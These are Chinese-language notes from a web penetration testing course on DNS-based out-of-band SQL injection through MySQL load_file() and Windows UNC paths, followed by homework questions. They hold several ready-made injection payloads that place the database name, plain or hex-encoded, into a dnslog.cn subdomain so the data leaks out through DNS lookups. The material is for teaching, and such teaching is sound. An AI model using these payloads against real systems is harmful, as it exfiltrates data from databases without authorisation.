一、课程名称:DNS注入&referer&XFF头注入
二、课程内容
DNS注入
利⽤前提条件
1. Web服务器必须是windows操作系统,因为UNC是windows特有的,只能针对WIN操作系统
2. mysql.ini中secure_file_priv必须为空
load_file()函数可以加载本地⽂件的同时,也能对\www.xxx.com\aa这样的URL发起请求(UNC)
UNC是什么:
1-UNC是⼀种命名惯例,主要⽤于在Microsoft Windows上指定和映射⽹络驱动器.UNC命名惯例最多被应⽤于在局域⽹中访问⽂件服务器或者打印机。我们⽇常常⽤的⽹络共享⽂件就是这个⽅式。
2-UNC 就是 '\\' 代表Microsoft Windows通⽤命名约定(UNC)**
3-那么使⽤,通⽤命名约定(UNC)的⽂件和⽬录路径格式,都会引发DNS地址解析
4-双斜杠表示⽹络资源路径多加两个\就是转义了反斜杠
第⼀条
第⼀种写法:
' and if((select load_file(concat('//',(select database()),'.otebm5.dnslog.cn/abc'))),1,0) --+
第⼆种写法:
' and if((select load_file(concat('\\\\',(select database()),'.otebm5.dnslog.cn\\abc'))),1,0) --+
注释:语句当中的 otebm5.dnslog.cn 是通过dnslog获取到的⼆级域名
第⼆条
(第⼀条⽆法使⽤的情况下使⽤)
第⼀种写法:
' and (select load_file(concat('//',(select database()),'.otebm5.dnslog.cn/abc'))) --+
第⼆种写法:' and (select load_file(concat('\\\\',(select database()),'.otebm5.dnslog.cn\\abc'))) --+
注释:语句当中的 otebm5.dnslog.cn 是通过dnslog获取到的⼆级域名
第三条-推荐使⽤(⼗六进制写法)
如果查询内容有特殊字符,不符合域名要求,是⽆法正常构造正常的域名,所以没办法发出数据⽐如:逗号,@符号等特殊符号使⽤hex()函数将查询内容转换为16进制编码来输出xxx.dns 域名
' and if((select load_file(concat('\\\\',(select hex(database())),'.otebm5.dnslog.cn\\abc'))),1,0) --+
WEB渗透测试工程师系统班250303期 第17节课作业 1. 实际操作课堂讲解的yakit sql注入靶场,截图? 2. 什么是UNC? UNC是⼀种命名惯例,主要⽤于在Microsoft Windows上指定和映射⽹络驱动器.UNC命名惯例最多被应⽤于在局域⽹中访问⽂件服务器或者打印机。我们⽇常常⽤的⽹络共享⽂件就是这个⽅式。 3. dns注入的原理是什么? DNSlog即DNS⽇志记录的形式,适⽤于多种数据库,直接再域名中暴露出数据库名称 4. 带外查询的应用场景?
|